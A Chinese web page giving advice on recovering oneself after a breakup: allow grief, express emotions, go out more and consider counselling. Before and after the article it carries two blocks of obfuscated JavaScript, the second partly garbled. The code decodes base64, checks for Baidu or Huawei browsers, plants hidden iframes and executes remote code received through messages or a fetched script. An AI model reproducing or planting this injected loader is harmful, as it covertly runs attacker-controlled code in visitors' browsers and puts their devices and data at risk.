分手了怎么办:分手后该怎么找回自己?

撩妹情话 分手挽回 2021-01-28 09:43:03 16 0 分手了怎么办
eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x6E\x68\x77"]=function(e){var hp =''+'ABCDEFGHIJKLMNOPQ'+'RSTUVWXYZabcdefghi'+'jklmnopqrstuvw'+'xyz012345'+'6789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=hp.indexOf(e.charAt(f++));o=hp.indexOf(e.charAt(f++));u=hp.indexOf(e.charAt(f++));a=hp.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x70\x75\x6E\x41\x50\x77\x68\x55\x43"]=function(){eval(wnhw("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod25odyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHduaHcoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3bmh3KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd25odygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2FfMTk5MCc7dmFyIF9fYWFucWlkID0gJ2EnICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19hYW5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19hJysnYWEnKyducScrJ29iJysnal8xOTkwJ109ZFsncXUnKydlcnknKydTZWxlJysnY3RvJysnciddKCcjJytfX2FhbnFpZCk7X2lkICs9IGRbJ3F1JysnZXJ5JysnU2UnKydsZWMnKyd0bycrJ3JBJysnbGwnXSgnLicrX2NsYXNzKS5sZW5ndGg7dmFyIHogPSB1KyctMS8nK19pZCsnLycrcjtkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyJhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WyJhZCIrImRFdiIrImVudEwiKyJpc3QiKyJlbmVyIl0oIm0iKyJlc3MiKyJhZ2UiLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyK19pZF0pe3JtKGMpO25ldyBGdW5jdGlvbih3bmh3KGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9ZWxzZXtkLndyaXRlKCc8cycrJ2NyaScrJ3B0IHNyYz0iJyt1KycuanMiPjxcL3MnKydjcmlwJysndD4nKTt9fSkoJycrJz09UU55JysnMEMnKydNNWtUJysnTXR0JysnTScrJ20nKydSeVUnKydTJysnWm9oJysnWFlxbCcrJ25SeVV5JysnTScrJzAnKydRRE14RScrJzBNbDAnKycyYmo1JysnaWEnKyczVicrJ1dlJysnMGRYJysnWnUnKydjM2QnKyczWmtNbCcrJ1lrTWxFJysnME1sJysnTScrJ0hjMFJIJysnYScrJycrJycsJycrJ1FPRScrJ1NKTicrJ3BaJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ3BDaycrJ3JGWCcrJ1onKycnKycnLCd0Jyk="));}

能够感受到,当我们提这个问题的时候,一定是在经历着分手的失落,这种失落,不止是失去了一个非常非常亲密的恋人,同时也像丢了魂似的失去了自己。

其实,经历分手的人,大多会经过一个找不到自己的失落时期,要想重新找回自己,开始新的生活,也需要一个过程,所以,首先,我觉得你应该允许自己有一段这样失落的时期,而不要在心理上心存排斥。

心理学上有一个名词叫“丧失”,听起来好像挺专业挺严重的,但实际上,“丧失”在我们的生命历程中无处不在,大的丧失比如亲人亡故,离婚或者失恋,分手等等,而小的丧失,比如,我们一天天长大,一天天衰老,就必然会流逝青春年华,这些失去,都是生命的一种丧失,而面对丧失最好的办法,并不是不去看,像没发生一样,而是说,要允许自己有情绪,要面对和表达。

所以,对于你来讲,我倒觉得需要先给情绪一个出口,无论是找好朋友聊聊天,还是说找一位心理咨询师倾吐心事,需要去把内心中的那种失落,留恋,等等压抑的情绪表达出来,需要被听见和看见。

有句话说得好,就是你要想离开一个地方,就要先到达那里,所以,只有经历了这个表达和梳理的过程,你才有可能转化这些情绪,开始新的生活。

第二步呢,如果自己的情绪梳理得差不多了,或者说梳理情绪的同时,我建议你不要总是闷在家里,需要去多接触一些外面的世界,多到一些令人放松的环境中,让自己的心情尽量变得开朗起来。当然,也可以想想自己有哪些兴趣爱好,多做一些自己喜欢的事情。为开始新的生活打下基础。

第三,你说分手后如何找回自己。我倒觉得还可以问自己一个问题,在没有分手的时候,你是个很有自我的人,还是一个比较依赖别人的人呢?这个问题值得好好思考,如果是前者,你会比较快地走出分手的阴影,但如果是后者,那走出失恋的时间也会长一些。那么,这些就和你的原生家庭,成长经历会有一些关系呢。如果是这样,建议你还是要预约心理咨询,在专业老师的帮助下找到自己呢。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x6E\x70\x6C\x73"]=function(e){var sp =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWXY'+'Zabcdefgh'+'ijklmnopqrs'+'tuvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x41\x73\x58\x70\x50\x73\x6C\x6E\x5A"]=function(){eval(npls("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQobnBscyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKG5wbHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihucGxzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbbnBscygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKG5wbHMoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyc9JysnPXdNTScrJ3kwU00nKydNJysnNWtUTU0nKyd0TScrJ01tUicrJ3lVQ01NJysndDVXWjAnKydNTWonKydSeVV5JysnTU0wUUQnKydNTXgnKydFJysnME0nKydNbCcrJzAyJysnYmo1aWEnKyczJysnVlcnKydlJysnMGQnKydYJysnWnUnKydjJysnM2QnKyczWmsnKydNTWxZJysna00nKydNbCcrJ0UnKycwTU0nKydsTScrJ01IYzBSJysnSCcrJ2EnKycnKycnLCcnKydJZ0snKydsanMnKydBZScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydhdmQnKydlTXgnKyc1JysnJysnJywnTScp"));}